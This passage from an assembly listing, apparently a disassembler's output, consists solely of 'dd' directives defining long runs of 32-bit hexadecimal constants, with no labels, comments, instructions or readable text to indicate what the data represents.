0FCE5010Bh, 5140609Fh, 3A3881C8h dd 0B83E53F0h, 0A942014Bh, 26C94948h, 0ECF8FC54h, 0F3FD4500h dd 0F9828BDBh, 3A25007Ch, 0BF367BA7h, 1758EEACh, 839983C4h dd 0AB9EA85Dh, 0A49C003Fh, 0EB04529Bh, 0ED008ACBh, 0E50FFBB2h dd 55384C5h, 18A5D8EAh, 72DCC1ECh, 7D5C2069h, 9E52D200h dd 0C3DC3FC8h, 45303BFCh, 0C984AF8Eh, 0F18F13E2h, 0B89FD480h dd 0A90097DCh, 427ED7F3h, 3F77F279h, 0AD0154DDh, 4D632C0Fh dd 98002AEAh, 0A715B212h, 54D50F36h, 2AE10E14h, 0E1EACC58h dd 60F0F961h, 6239C450h, 0A340002Bh, 0D206EB23h, 905F17E6h dd 2040008Eh, 0DFB7E308h, 9601B9E4h, 0F5A44B2h, 31D0F671h dd 0EC4AEFh, 5BD44D82h, 6700E370h, 0EDCCFAC5h, 79422F63h dd 8C86380Ch, 0AB74A500h, 732CBFAFh, 137BE900h, 95585298h dd 0E4F000E5h, 997BA45h, 0AD00CCB1h, 2ADF7048h, 18EAD783h dd 282129B9h, 0F60066CAh, 0D9F45DAAh, 0E8CA714h, 3705D769h dd 40E4DB20h, 0B6017BD1h, 0DA8719E2h, 0E3CC2B5Fh, 54763F74h dd 31C0E500h, 3278D685h, 0E7346C00h, 49922340h, 9ADA00E9h dd 642FF92Eh, 0A100273Eh, 6DA20419h, 1C6E374Ah, 0FDAFCEC1h dd 999CC04Ah, 0C3FE8514h, 42C9B602h, 70D06B8Ch, 3E9C02F0h dd 76207AD8h, 989AD840h, 383C1700h, 0C8C7149h, 0F20B86Fh dd 0F0658128h, 0F4329BA0h, 0FC09100Fh, 78A8B5E4h, 0E3FA2C50h dd 9E34806Ch, 4E27AC52h, 0EF03F58h, 0E3BC3347h, 0E0C22002h dd 0F8D673F9h, 0FB520050h, 0CB3F9EF1h, 0E5018048h, 86CD1505h dd 4080A829h, 0E35F7B0Ch, 353888B8h, 9826A5D5h, 0E0644738h dd 3E8A00F1h, 3805F067h, 8C00E11Ch, 3CF71EB2h, 0E5A2682h dd 0C60CD741h, 9F80DF4Eh, 6C49F28Dh, 0A42ADC17h, 70182A07h dd 60EFEE60h, 0C31F38FBh, 0A52E5600h, 27C187FCh, 7E634701h dd 76D344E9h, 5CEF4h, 0D09EFB9h, 404A8998h, 3B655Ch, 94A56811h dd 50C20755h, 0C8847h, 0E58F7E91h, 75D5F063h, 90EEDC90h dd 9F9C4554h, 21CA6E00h, 0A12D9CCDh, 78A26370h, 0AC8074CBh dd 0ED01FBDBh, 61118D85h, 58C2358Ah, 9ECF00C0h, 3DF1CA13h dd 3100BEACh, 0D8EB5896h, 3A4898A4h, 2D800B44h, 4B93ECAh dd 55015640h, 229FD71Bh, 8030AB96h, 1E17009Ch, 94BD5FDBh dd 0BF004E3Ah, 48147E78h, 1F6ECEDCh, 367972h, 0D6EFA66Dh dd 0B03D6C18h, 0C4FB00CBh, 0D8ACDDB2h, 581E00A9h, 6C17BAC9h dd 0C700C078h, 0DB4CF756h, 0B220ACh, 73268611h, 61A16409h dd 0DA787A01h, 79553B4Bh, 17691464h, 0BB4DDD66h, 2D006F12h dd 41339084h, 0C7310E21h, 2C20B3C8h, 427C9E93h, 951A0F00h dd 8114B4Fh, 5CD8EA3Bh, 8100AC30h, 10925E89h, 0B0009DAEh dd 18311B4h, 128F524Bh, 0C6EBEFh, 0FD9AE81Dh, 0BD00734Ch dd 9E927285h, 396BD441h, 160047D6h, 0F4E3A74Ah, 0E900436Eh dd 0C34E6453h, 27B55867h, 845C0C09h, 1781200Fh, 5FF100CEh dd 0B3B10CC9h, 84A31D18h, 8105362Fh, 4134BB97h, 0D93F03AFh dd 0ABD083EEh, 800A9F17h, 2BACC6h, 0CB233082h, 0EA4836Eh dd 8037443Eh, 0ABB1AD01h, 6E02E94h, 0A1C34399h, 0D80210B7h dd 5D37CF22h, 285048A2h, 4421E6Bh, 8AA4C2FDh, 34E9B264h dd 80246CE1h, 258ED669h, 8880EBB1h, 21373454h, 0C600F3CAh dd 40E93F16h, 9B92E5Eh, 1855EFA9h, 0CE65C800h, 7700A2CBh dd 0B1E71C0Ah, 8C4AB2h, 0A9D1FDCCh, 4DF2B483h, 0EF5E3D1Fh dd 6E808B39h, 0B61F0095h, 8729Ah, 31CAAA1Fh, 8DBA3A66h dd 0D70D211Eh, 43641801h, 63F04FAFh, 3C0F007Fh, 0DAC6A7E2h dd 80955E82h, 694F26F8h, 0F21F280h, 0B6B4027h, 0BF3AF261h dd 0B2B8406Dh, 65170AD1h, 28D0AA5Eh, 0F32E7Ah, 91F01DEDh dd 593AFA63h, 16771000h, 38D86F75h, 0C07E7Ch, 0BB1F8908h dd 8F588E68h dd 2D4A94Ch, 0D4F8FDA0h, 3DC87813h, 0DB407Eh, 890224A0h dd 0AC00E5BAh, 0DC53156h, 8AA165h, 0A3FE961Fh, 2ECA7D7Eh dd 0FC80094Eh, 928E9480h, 66410014h, 0FDE2D9AEh, 2500E46Bh dd 9B3539E8h, 106E1D7h, 0F6F5814Bh, 80AB79D1h, 2B27DB70h dd 3F88ED7Ch, 0E000363h, 82C8772Eh, 6C00676Eh, 0F793D599h dd 226A343h, 4A6149FAh, 9980ADACh, 0EADD95A2h, 0E98D2101h dd 0C5E20A41h, 7A6D1CD4h, 138900F5h, 420451BDh, 5B008471h dd 0BA3D69E5h, 1E8D056Eh, 7C6DEA0Bh, 8639A800h, 0CF82920Dh dd 3091F100h, 0C403F968h, 54E300B1h, 0AB0A12AEh, 0E8004784h dd 5CE4764Bh, 386872Ch, 94D64F9Fh, 0C382CC61h, 0FE423474h dd 291C41CBh, 5D14D839h, 53009CCDh, 9738C2AEh, 0E8947B43h dd 0B603FA00h, 3529F7Eh, 211D5D25h, 30A02DC9h, 6100688Ch dd 2EE9F29Ch, 0BEA53Fh, 40298755h, 807ADD98h, 33278600h dd 0D4B77695h, 836338B4h, 0C5FE1Dh, 807385EBh, 68007845h dd 10B3967h, 12B86C89h, 0ECE755Ch, 0D72020FFh, 1BEC0591h dd 831F7000h, 1EB51742h, 1C5AF0B8h, 495C3844h, 8200A4EBh dd 0D4F30D4h, 8E2D9927h, 0FFF7A0E4h, 1C6E73B1h, 0C7232C20h dd 109B8645h, 1AA0A4A2h, 0EAD5200h, 14CE0B75h, 0B5CA00A9h dd 0F1DC6AABh, 0F01707E0h, 0C200371Fh, 1EEBE170h, 1088003Ah dd 9A3CD611h, 3700CC44h, 0AF620B17h, 62F19h, 5E3952D9h dd 3FEA27D2h, 1AA2E507h, 33440DAh, 0BBE697C1h, 3D32460h dd 5D567E3Bh, 30F01912h, 27007C5Fh, 0AFC4DC72h, 0C75E9Eh dd 3C12ED4Ah, 0EFCC88E9h, 5410CF00h, 0DB9EE3E8h, 82AC1424h dd 43399BEAh, 6EBBA880h, 78ADF88Bh, 7324DC00h, 60ED0FDBh dd 14520E4Eh, 0E521FBFFh, 0FC63DD68h, 0C0000E57h, 0B6D4F5F8h dd 3863CA4h, 1F3D7436h, 0ED887EF4h, 2B00C772h, 3412CE0Ch dd 44BFC32h, 14E0E257h, 0B77CA02Dh, 3F0982EAh, 807DF5F6h dd 0DB6E0690h, 429B24EDh, 402E9FD4h, 60D2D43Bh, 0DE005864h dd 0EC89714Ah, 0F8F3AAA9h, 4730018h, 3BD9E862h, 0C609E21Bh dd 81896DFDh, 0D0E01DD2h, 40161192h, 10A96F1Ch, 834DA54Ch dd 0DD9A28CCh, 0C2936102h, 0E823A7A0h, 0A92E4h, 7EC0E5D3h dd 0D9C3B155h, 0C4895300h, 927C513Ah, 21D763F4h, 966029A7h dd 0EFF0D038h, 6A7B54h, 68DC61EEh, 91B963F4h, 97F9BF08h dd 73D6FF7h, 0C0EBE645h, 0B32D39BDh, 71EEA80Bh, 0BF9C21E3h dd 0EE70F466h, 595101B6h, 10D3ED09h, 4929E05Dh, 0EAAB8E00h dd 4758B39Fh, 0FF1CA96Dh, 3D86FAE0h, 2A162B37h, 15E400B6h dd 0B8C08478h, 9CA0C00h, 0D3D101A6h, 0C95C04FBh, 0C4162817h dd 74798069h, 6758DB1Ah, 420078FCh, 0B06081AEh, 7A68AC99h dd 0D81507B7h, 1460449h, 0EC1C6520h, 55003F07h, 0EB1A6163h dd 244B14E5h, 673DF0h, 93727962h, 1900E0AAh, 5D92E475h dd 6D9966h, 54DDFF7Bh, 25B2E535h, 6E7752E6h, 0CCD4B600h dd 40808162h, 0B0B827B9h, 0E0726C41h, 0CF385831h, 0EFE48044h dd 4D4199D8h, 528F005Bh, 0A47B38D3h, 0F9A20DC1h, 0FBFD9C0h dd 41589C30h, 14E25A26h, 0FCFA2FFBh, 0CEAF9500h, 0AB68B154h dd 8409A4A8h, 40301C60h, 88E5DCh, 5B431D0Bh, 2BC86986h dd 510E3C30h, 9553497Dh, 63E70400h, 1C394B90h, 67B0004Eh dd 3872FAE1h, 9C10005h, 8F13CF29h, 8100B6C5h, 0E6DBB13Fh dd 0F0F41D08h, 0A1D400CDh, 0A0C8B37Ch, 3600495Ch, 98542185h dd 3B225A3Eh, 607C4D28h, 3C477162h, 8EB85623h, 5E77EE00h dd 0CF88799Ch, 18B100E1h, 30D83906h, 484EB0B7h, 2EC77007h dd 21195A30h, 8E0600B5h, 27B34BF8h, 0B2332074h, 0C881D80Dh dd 2C472F0Ch, 6B4CBCh, 32A95E38h, 371E14ECh, 3E852253h dd 9EC05DD9h, 98499Ch, 95C945B3h, 0AA32ACF5h, 0C25C8D03h dd 0A8A575EAh, 0F8D92E59h, 9D250088h, 79083C66h, 2D0F6709h dd 80418F15h, 0D5F3742Eh, 13720076h, 9F7347CBh, 4D0004E3h dd 8823CEBFh, 4378245h, 0B2D6C08Ch, 0BC95C090h, 8600419Ch dd 776DBBBDh, 4B783089h, 0A60BF007h, 68DBAA0Bh, 27AB803Fh dd 8EB52Fh, 877FE1CAh, 0B1F9B330h, 0FD03EFB8h, 3FB4FB09h dd 0B5A801D7h, 9AE49D01h, 14C9CF04h, 0C5AEF008h, 0D852AD1Fh dd 2B768F00h, 1E271DCFh, 0C090B526h, 7F3328B3h, 4A004CA0h dd 40FB4829h, 60832D05h, 0C6FAE89Bh, 0AF7FBBD3h, 0C3AEE900h dd 1D5E0B5Ah, 483B3EA3h, 0EE9D4000h, 1F9ED773h, 0B88AC406h dd 0FC418B85h, 0DF5F0028h, 0AE403013h, 0A00D732h, 0BBEBBC6h dd 0EC533A26h, 1B363029h, 244290C9h, 344F3Ch, 0F547F626h dd 3E62F0Dh, 0C40B46F7h, 0F3C82472h, 7700E29Fh, 0C599FA37h dd 0FA16B66h, 0D53C1C07h, 97BE2D81h, 67962075h, 19BEE250h dd 0F30223Eh, 80AC58DFh, 0BAFF0D63h, 672A0E4Bh, 0FEEF9CDDh dd 0B55A0900h, 850379AEh, 0EFDA3D1Ch, 0CEBEA010h, 0C3BA1DFDh dd 0C88C804Dh, 800FEE71h, 0A943EA28h, 3EF5A300h, 72AA8E55h dd 0BA6E0EEBh, 7020E9BBh, 40ACF9B7h, 69007478h, 3DC3B031h dd 638E080h, 0C122A234h, 0A529B06Bh, 14504828h, 0AB9886D0h dd 1FADF000h, 0CB2C2EFBh, 0F81201A8h, 4ABA991Eh, 19C22066h dd 4CD75Ch, 918C9CA7h, 0EF91A25h, 0DBE86E69h, 0F789D927h dd 97759022h, 0F500562Ah, 243CC02Fh, 7821B8F3h, 0FB17005Ah dd 0D1771B01h, 4A073BC8h, 93194347h, 885E12E3h, 2EC220BFh dd 3F48C4h, 0C5B78A75h, 0E90070E6h, 25517F12h, 1FC436DFh dd 803A2DBDh, 4E164B97h, 84007D01h, 10347663h, 0A9799Ah dd 407FF22Fh, 9D302DD9h, 4628BB00h, 482060BFh, 0F0871E1Ch dd 1273C0EDh, 7A805B5Ch, 7178AA74h, 8204BA56h, 40D11633h dd 0D7D2E3h, 0EEF4DA11h, 6A64CFFEh, 5A4BAE0Ch, 3918C2Ah dd 0D214E29Dh, 29101D32h, 9000D022h, 0CDAED71Ah, 0B6004746h dd 4BE4F378h, 270911h, 0D6F1BA3Eh, 0FA6D88DDh, 0E2E69500h dd 0CAB465F3h, 0BD583CCFh, 0B6E59A00h, 3E4C8A13h, 708B9900h dd 0F1071B4Bh, 4404031Fh, 603614F6h, 32D32E0h, 990059FAh dd 0E386DA89h, 3973A4h, 914AABAFh, 653D3AE6h, 5495700h dd 0BBFF17D3h, 39A20971h, 0AC005BC4h, 92FD0CB2h, 0F6004FEAh dd 0AEEFD21Dh, 0AA3DE5h, 0FEBE373Fh, 7BA521CBh, 0C6A10500h dd 3DE10AB8h, 5A130073h, 4A51FD3Ch, 0CB1D4DA8h, 8340D6F2h dd 7C89DA40h, 75017508h, 0EA960053h, 50104EAEh, 290AC035h dd 0ABE811A9h, 0F6B46F0Eh, 0A0C4C40Eh, 5AC241DDh, 0AE1C0095h dd 6B631E86h, 3C00E230h, 0D30D15A8h, 0CEA4A3h, 73821346h dd 32C5141Ah, 0A8CC3Ch, 0FF53902Fh, 632B1656h, 0FD8C18C4h dd 6BE9C1C0h, 0FB335103h, 9303D870h, 37418018h, 16D001Bh dd 9BE04459h, 0F40F673Fh, 0E0E2B455h, 0DCD7C40Ch, 0A78400B5h dd 25D3E4CEh, 1300BCDDh, 386BBA27h, 248FB442h, 172C18F7h dd 0B2640086h, 0DFF52A30h, 5BF61600h, 6F879E5Ch, 6C063C99h dd 8137780h, 0CEE2CC97h, 5BAE2500h, 0AC2D6AC3h, 49EE0087h dd 0FFBBF3D6h, 803CE7AAh, 1F5D800Eh, 440245Fh, 8BF90038h dd 68904542h, 0CE01A191h, 0B0D0A66Fh, 0BFF028FEh, 0AFD80026h dd 7DB924C4h, 1A78750Ch, 77E50800h, 0C74E190Fh, 0F4E7070Ah dd 304959F2h, 0A201BD6Ch, 347A4F72h, 78955AE0h, 78FE000Dh dd 5DAFAC06h, 83247080h, 1200E775h, 7D47B1AEh, 10A70704h dd 634F1696h, 85B8C6D8h dd 0FCE4B8C3h, 2D9C3200h, 1E6AC0B7h, 21A60F04h, 0AD07E14Fh dd 0FACC70CBh, 676662C2h, 1EF08352h, 1B1F1C5h, 90C36D97h dd 3472E4EBh, 48DBCE00h, 0A3A99A28h, 43710165h, 0C6F22D70h dd 4720245Bh, 0FC757E00h, 0E211CB1Dh, 0AF121D42h, 80979F30h dd 9FBA4CADh, 8A00728Fh, 46F5D808h, 0E0C15Dh, 0AB1B0370h dd 0DB401153h, 0D4E92600h, 0D0F1424Eh, 313607B1h, 80499745h dd 437C8432h, 0A5331026h, 0A5CA7A09h, 0D4308D3Ch, 3E7AC44h dd 0BA0513CCh, 68F0B567h, 0A20085FDh, 0D7B82AA5h, 0BF3CF8h dd 9311990Fh, 80FB21B6h, 0BE00549Ah, 60D9ED10h, 38A37692h dd 5500B58Bh, 58E321F7h, 0D100984Bh, 0FA2A8E51h, 1E94D43Ch dd 0BADC96BFh, 0FBEC6C09h, 80153C87h, 0AECC9B91h, 0E6DFF303h dd 9B46D1C1h, 628AA0E7h, 92D6003Eh, 0C257D534h, 75007C7Eh dd 0E772C807h, 4440E4h, 4A8B3B84h, 1F6C48AAh, 7C756B00h dd 18A482F8h, 0FA64284Dh, 8C200D0h, 0F2670A91h, 0EA4F30DFh dd 0D90104B8h, 20CE6FA8h, 625AF044h, 0C158AB01h, 0A6F89445h dd 405ECC42h, 3289E99h, 328B8D3Fh, 8F05CC8h, 390055B6h dd 0E7DBB901h, 2F63A39Ah, 7CDEE0D8h, 64400039h, 0EBF9BC7h dd 0CC8A00BAh, 658C4E7Ah, 927E3BDFh, 90A9BE00h, 0E1EE2DF5h dd 9070B8D0h, 24470599h, 80AA336Fh, 0FAC2863Dh, 0D4E5D00h dd 0D0E4F68Ch, 9072397Fh, 0FBEB8900h, 651708DCh, 0C330E05h dd 0CC007936h, 9A060D53h, 0A1710EDFh, 0EFAEDD43h, 60CB6783h dd 0CA3F18C0h, 0AC90AE7Ah, 0D2BD30Eh, 7DF980D1h, 52F130h dd 8A6A929Bh, 0F3870B91h, 684CAC06h, 7203A6Ch, 6B26C5E7h dd 6A41C093h, 0A748ECF7h, 0C1B0038h, 0ADB6068Eh, 9304012Fh dd 0FDD51CF3h, 0ACD6D5CFh, 0DC0F84EEh, 5BC7E344h, 2921B855h dd 0D4870079h, 0D19D4713h, 2F2A3FFh, 0B649D91Dh, 2B7E4BC0h dd 0C5FC1Ah, 35606E2Ah, 0E504AAC9h, 7B17B104h, 0A0805EBFh dd 0E066D1h, 497328BDh, 0C8F64534h, 756E80Bh, 9256800Ah dd 0EE4AEEF2h, 4C8B1DFFh, 28C9C085h, 9033A91Eh, 8146F400h dd 7B0E2EF8h, 1F9B98B8h, 0C092C744h, 0BCA8A955h, 63F8948Fh dd 772F6A00h, 0A76D74ECh, 0EB153AEAh, 6EE41F00h, 2B4B2D5Bh dd 0AD96FD17h, 4190D10Fh, 8E6C0197h, 72EFC0h, 0A9AC88D5h dd 0EDC632A7h, 809D163Fh, 292F7773h, 10C46B0h, 3ED0E7C3h dd 7040C5E0h, 0D91C1618h, 3AC0B2A2h, 0A18E8F2Fh, 12890E2h dd 85B51BA5h, 0D4884456h, 4D793D2Dh, 0C72E1700h, 1CD0303Eh dd 156300BEh, 2D81837Bh, 0BD015D39h, 1390111Fh, 11823260h dd 6CF6426h, 80E18340h, 11F56F17h, 13535840h, 1D9808F1h dd 0F07D6EC3h, 0F48C5C18h, 6339E40Eh, 234DAE56h, 1E6B4BC4h dd 0EEA4F621h, 0D703BD90h, 68741A28h, 447FFEB8h, 79008E7Ch dd 26712038h, 13C359h, 65109C5Ch, 85223BA8h, 7C40A007h dd 0F64132BCh, 1CE0EDC9h, 34790715h, 1327FE20h, 88C0136Dh dd 0EE00711Fh, 43CD7F87h, 262F1A6h, 3FC48D97h, 2374BCA3h dd 8000624h, 19CAD59Ch, 28D80F76h, 7F6CDCD0h, 0C00340B9h dd 0D2F5938Eh, 59C101EEh, 32638B82h, 0C2E2F8A1h, 43A50A1Eh dd 19BBC000h, 0F763F41h, 0D33D74EEh, 34A0B50Eh, 0BC57445Bh dd 7DA0300h, 630B7F2Bh, 0C2E500AAh, 0C5DB9AA0h, 520089ADh dd 0A11B54BDh, 32FD20Fh, 9ADA5870h, 8101EA33h, 652C3261h dd 0EAD3B384h, 0D4CC80B9h, 4885CE39h, 70E21EBh, 2D206982h dd 0CBD9F1A5h, 2033AB0h, 66A392DEh, 43E03EB7h, 7FE96Bh dd 0D9C23E72h, 5FF600B0h, 824763ACh, 59399C11h, 0B53907FFh dd 9B40BEE7h, 67AC5Eh, 5770BC52h, 0BDD9751Ch, 4E0B0C02h dd 40B5A5EDh, 6F1F95h, 0AD82AFCBh, 5D21DCA6h, 0E588500h dd 0A18C4FF6h, 0ABF0C39h, 0D89CDF4h, 38DF3F07h, 12D21137h dd 639DE00Ch, 1967006h, 0A9CA26D3h, 242B4AD0h, 0DB3A7048h dd 28810036h, 0F096F11Ch, 48AC0063h, 0EA41D212h, 43008735h dd 9BF9BA14h, 30233F9Ah, 1340E61Ah, 0CD2F6C52h, 57BD459h dd 800C35ECh, 2002EFB4h, 6D419017h, 0B4BA3440h, 0AB3618h dd 0E93A423Dh, 0C273CB4Dh, 7D713Fh, 99B3A2EEh, 311D9Ah dd 1FF4A6F7h, 0F690F005h, 266CF900h, 7A9EC0A3h, 0F0C67B0Eh dd 9A8A2EDCh, 388919FBh, 96AAD041h, 5F2B3500h, 7CFF7F34h dd 0FD0D0097h, 5B508C3Fh, 2A76D7F7h, 72228E48h, 8D1838C0h dd 86464Ah, 9C844106h, 0B3D73E21h, 1E3A0800h, 907A8C18h dd 31866698h, 18D3C4D9h, 946AB303h, 0F510F86Ch, 0C3C20013h dd 0F8CED8FAh, 9E0067A0h, 59B82CD6h, 2AAAC0h, 247F1D47h dd 0D2560603h, 1903257Dh, 990CC252h, 0DC5AF846h, 0B161CE8Eh dd 8DF917A0h, 7A004955h, 0D9C6EC05h, 336C9B6Ah, 42A17CB6h dd 8EA83CB0h, 95E24400h, 4578D041h, 0B7A22A9Ah, 0A4FE00ACh dd 87120C88h, 0BE000E59h, 0E6D0FDC7h, 3C6A0B9h, 39C1204Fh dd 0E9488543h, 10FB00D4h, 0F216FF9Bh, 25967BF4h, 7F606559h dd 0AB98689Ah, 8803A900h, 1D12A877h, 741E0E4Bh, 4E2072ABh dd 337EA3BAh, 8854EB30h, 0FA7C3Dh, 579DDA50h, 621F8249h dd 0FD004C78h, 0D58461C0h, 38DCE99Fh, 45805FB4h, 0E36998Bh dd 0CB00D22Bh, 0A0343B17h, 0BBC377h, 28694E24h, 3F953530h dd 1C056A70h, 0F977E9A2h, 2CF780EFh, 16004A0Ah, 0EFAF4D8h dd 3E826DE5h, 518070CEh, 80328AE8h, 0B800F979h, 0ECD1C7CBh dd 0CC1EBFh, 2C18F238h, 71745F42h, 149C1700h, 0F44AB4D8h dd 0ECCF07D7h, 81B33D72h, 0C803C28Fh, 0AD024B98h, 1ED96983h dd 9A45E03Ah, 0BBD51DC4h, 310800D8h, 66343D5Ah, 0B6E54F00h dd 8CD0226Dh, 5741002Ch, 9968BEF5h, 71FB01Fh, 3E5FFE67h dd 193B0D0Ch, 0C0E2752Dh, 9A9EC88h, 0C300D5F1h, 0D61F9A7h dd 7AC25DBCh, 0A8BD0110h, 482515E9h, 9FD8D01Fh, 89EE6903h dd 170982ACh, 0FF6010h, 0D9F7E097h, 3A00AEA5h, 0D09E7D63h dd 0B2C3CCh, 9C9FD7CEh, 3223A1E3h, 0A2FEB700h, 0DA47682Fh dd 1E1A0013h, 79660A7Eh, 7B1F917Dh, 0FF990EFh, 4FCE0B52h dd 24988045h, 3B870C0Ah, 0BD80E332h, 92041F06h, 5C3D6A56h dd 0A4408E01h, 97E1005Fh, 0A8BE894h, 35039071h, 1C1E5920h dd 45070608h, 883BAA03h, 0FBE1E90Fh, 297A0C1h, 12FE8F6Ah dd 0A66E60Dh, 0D0C84Ah, 134E6EBDh, 6F049AB8h, 0E0AFEF99h dd 8825A583h, 2C59783Ah, 3FF1D844h, 7F3B1Eh, 0E0424EFAh dd 980C8B27h, 0A021863Ch, 0FFC60F16h, 0E760E5F5h, 434B42C7h dd 65A654Ch, 8A3FEEBEh, 75180028h, 49DDAD8Dh, 7D28B003h dd 0DFFAA4D9h, 9F28C838h, 8E4C4F8Bh, 3B2EC88Ah, 0D6814AFEh dd 65A5891Eh, 366DE0CDh, 7B97C000h, 0D3AC996Ah, 0A9F8005Dh dd 0FB4B4398h, 192909CDh, 72808047h, 3A3B996Eh, 0C0A243FFh dd 22A7E155h, 0EF4A0098h, 41092C1Ah, 663E0BE3h, 328C0081h dd 2EFF25EEh, 8ED3097Fh, 29004A2Bh, 0B87264A0h, 2AFD9918h dd 0D025D0h, 7F9E0487h, 4F075C1Fh, 4A04B075h, 525A1E38h dd 8402480h, 90D180CCh, 5C5E9E0Ah, 815B2028h, 0A0C22A1h dd 554CE1Fh, 0A4883958h, 0E815008Dh, 0EF55C14Eh, 9572983Ch dd 0AF35A100h, 65DC1EFDh, 14237CD5h, 0C83BDF4Ch, 0A4A36B00h dd 9B979347h, 19639600h, 11BB528Bh, 6ED00080h, 0A357A661h dd 6900EA87h, 0A85E3CD1h, 93C0DFh, 0B28B2524h, 0AC6CF15Ah dd 0E6158900h, 0EB7233Bh dd 14C70B6h, 0E22B463Dh, 70A57543h, 580CE721h, 419438C1h dd 0F1180067h, 2197DBC5h, 9B07CEC8h, 0BDB58830h, 82FDCAB0h dd 676001A3h, 0D35FD797h, 4A4024E4h, 0EA8AE70Fh, 0DC1260EDh dd 208332Ch, 193EA12Bh, 0D0C094D6h, 931258Ch, 0FB3DB8CAh dd 380C182Fh, 8D30ADC9h, 137D888Eh, 0DDA20074h, 89E55D1Fh dd 0FA03CB98h, 78398673h, 1530CFA3h, 491FE1h, 4AE6ED38h dd 0D5639B99h, 0FF50C800h, 0FC87F1F4h, 0A1660088h, 0D75D6F31h dd 44003B02h, 6837C11Bh, 0FE7BD196h, 57C9005Ah, 3525F6D6h dd 761D4D6Ah, 7100128Dh, 6A38413h, 0AD6700E5h, 9D4AB6Dh dd 0AC60201Ah, 0D1D6FECh, 7D8C2EC9h, 0CCC300EBh, 673E096Ah dd 2C0479C0h, 0CFB8E2h, 0FA47520Eh, 3C2FFF08h, 23000F90h dd 0B0FB7E74h, 2466BDh, 26ADAE5Dh, 20EFB1B9h, 0DE0094F2h dd 0A00AE42Bh, 1808136Ch, 0B06F48A9h, 0E0004AD4h, 0A463F76Dh dd 1929E44h, 868BDDF4h, 6AA7B751h, 0E114ADC0h, 9C500A4h dd 5D0BDEA2h, 0E23D987Fh, 0F8DAB0D6h, 0DEB7EDC0h, 0FA6B80B0h dd 645E2210h, 706F807h, 0BDC06588h, 519924h, 4112597Dh dd 0BEABB63Bh, 0BB05B500h, 9495C70Eh, 4AEC0068h, 0CCF6D4C2h dd 0FE0088ADh, 0AE91502Bh, 0AB1587h, 71D0834h, 2153C373h dd 0FF7BC100h, 0F9527822h, 494B004Ah, 0C7878FBBh, 850FEDE3h dd 805A5956h, 31AC97D7h, 5D221D9Bh, 0BEBD8E2Ch, 0B7005h dd 0E1A24EBEh, 8C0E0985h, 201C2173h, 662DE771h, 894F3CD0h dd 37AA8089h, 8EFAB00h, 0BA0E7698h, 0FFE927D7h, 0C6060FC0h dd 0A4B007h, 0BCF3EB51h, 407E8EBEh, 0C9706B07h, 0E2B0C65Eh dd 3AD573E8h, 0EE002CA1h, 9A07F6EFh, 0FE310B6Eh, 0A5B210EDh dd 0C453E0h, 0F47573AEh, 31924D7Ch, 8DFB851Ch, 76CD1447h dd 0A4818AD0h, 0D4B213E3h, 0A9F30F32h, 982446A0h, 0C1126522h dd 0A904F8A1h, 0C0AED6B0h, 0D05771F1h, 93E99B0h, 56BB09B3h dd 3111005Ah, 0F22D684Dh, 15920074h, 636F6D12h, 900EC627h dd 205149A1h, 0D75AC88Ah, 7B0DF033h, 0E94000E7h, 55271EADh dd 8FE0FFBFh, 0C7B32D00h, 0F2B721B9h, 1E8670C2h, 40D95A25h dd 415D232Bh, 6D0002A7h, 85C2043Ch, 2F26ECh, 6CC0120Dh dd 0CB747699h, 277B0800h, 2C784D2Bh, 0F2BD0011h, 2E644493h dd 3103E368h, 0C2799E87h, 55D7983Dh, 0E1690076h, 0B7F67494h dd 960E8D78h, 0A08AB914h, 265536D1h, 0EC700F99h, 0DE9D9B32h dd 0BC1E40E1h, 0D5DC3ACCh, 0D4EFA40Fh, 71E3C0FDh, 28493D77h dd 0B1C5C1h, 0F3AD8C8Bh, 2B4B6014h, 77BE0F09h, 0B5B40195h dd 98506644h, 146705h, 2DDA03BFh, 57BABC53h, 4007737Dh dd 87CF7BACh, 2E657950h, 0BF6F00A9h, 78DA5054h, 0E100F6EBh dd 0A18C177Ch, 5F9DAAh, 7348911Fh, 3D854550h, 2624951Eh dd 0A569C040h, 0A01321h, 0E58A6041h, 933B315h, 0E9008D98h dd 36BB97F1h, 91516Fh, 0F98E4D60h, 44F87913h, 0C0C7E800h dd 660E05A6h, 0D940004h, 14B32410h, 580EB183h, 408D2617h dd 5ED143C1h, 38010011h, 0DE64810h, 84002975h, 93D06DA5h dd 0FF4D6Eh, 0F9E88894h, 0EC045BEFh, 8A7B5A03h, 0D02785A3h dd 73066B2Ch, 4184919h, 9CD47900h, 930F70E4h, 48DDC300h dd 0F835F5FCh, 37AF002Ch, 0DB6E3B3Eh, 20125170h, 6800D803h dd 0D64CBBD7h, 52583DA2h, 0CF509580h, 1C3AC045h, 70D0A70Eh dd 473BC0E1h, 0A49A3Eh, 0D80720A1h, 46CB1BC7h, 16FFCC01h dd 8637FA5Eh, 33D0B6EDh, 0B7EC00F3h, 7CCDDB91h, 3200FDF6h dd 3ADADDABh, 1501B45h, 0ACAD49CAh, 0C8AE3CEAh, 9B0023C6h dd 818DE720h, 0C8B6A9h, 54EB41CBh, 828387F8h, 0AA0096F2h dd 0E2699A6Fh, 237079Fh, 1E521985h, 0EFC0556Ah, 9609ED82h dd 0AE7967h, 41CD1A63h, 0C4311F62h, 0CF520051h, 0E42FDB8h dd 0F0B9E600h, 0EFBA859Fh, 6E050033h, 8E0BF129h, 0F9000635h dd 30695B97h, 77B6599h, 0B605EAB4h, 0A011D6C7h, 41377E00h dd 0BB755B32h, 963407E6h, 404935CFh, 2C0F6E86h, 3005D030h dd 5DC0498h, 0E1AC5671h, 4154C01Dh, 2A008A1Ch, 4C934A3h dd 91797Eh, 0A5F0B688h, 35D7C1C5h, 462C0100h, 0E4B9703Ch dd 0BA9C00CAh, 0EF91CFC2h, 0C67477ADh, 8031463Eh, 8155867Fh dd 6BD71h, 40A98032h, 0FD5B1A74h, 3BB6A300h, 0B06BE892h dd 0ECDA0045h, 0C6DFB74Eh, 0EF70ABFEh, 1A978007h, 0B1B0FFE8h dd 9487A9h, 0E001ADA6h, 2B5721BDh, 65C49507h, 39700681h dd 0E5D9738h, 0DE4FD4E2h, 1B03EA3h, 0AFD0E4F3h, 56EC7C64h dd 38E4800h, 109D4D85h, 9C550025h, 6A588B70h, 0EB00F23Bh dd 3AB178ADh, 1832A13h, 0CAB90E6Fh, 0C4681471h, 1872AA5Ch dd 0AFA19100h, 3BE15B7h, 8766002Eh, 228EBF8h, 940E6A74h dd 0A0D51271h, 0B7445B8Fh, 89BA014Ch, 0AA696F7Fh, 1A9BC4CBh dd 257D387Bh, 0C7921B00h, 0DE47F173h, 60D800BFh, 77768239h dd 2300A93Ch, 0FD17B911h, 38477962h, 980F63Dh, 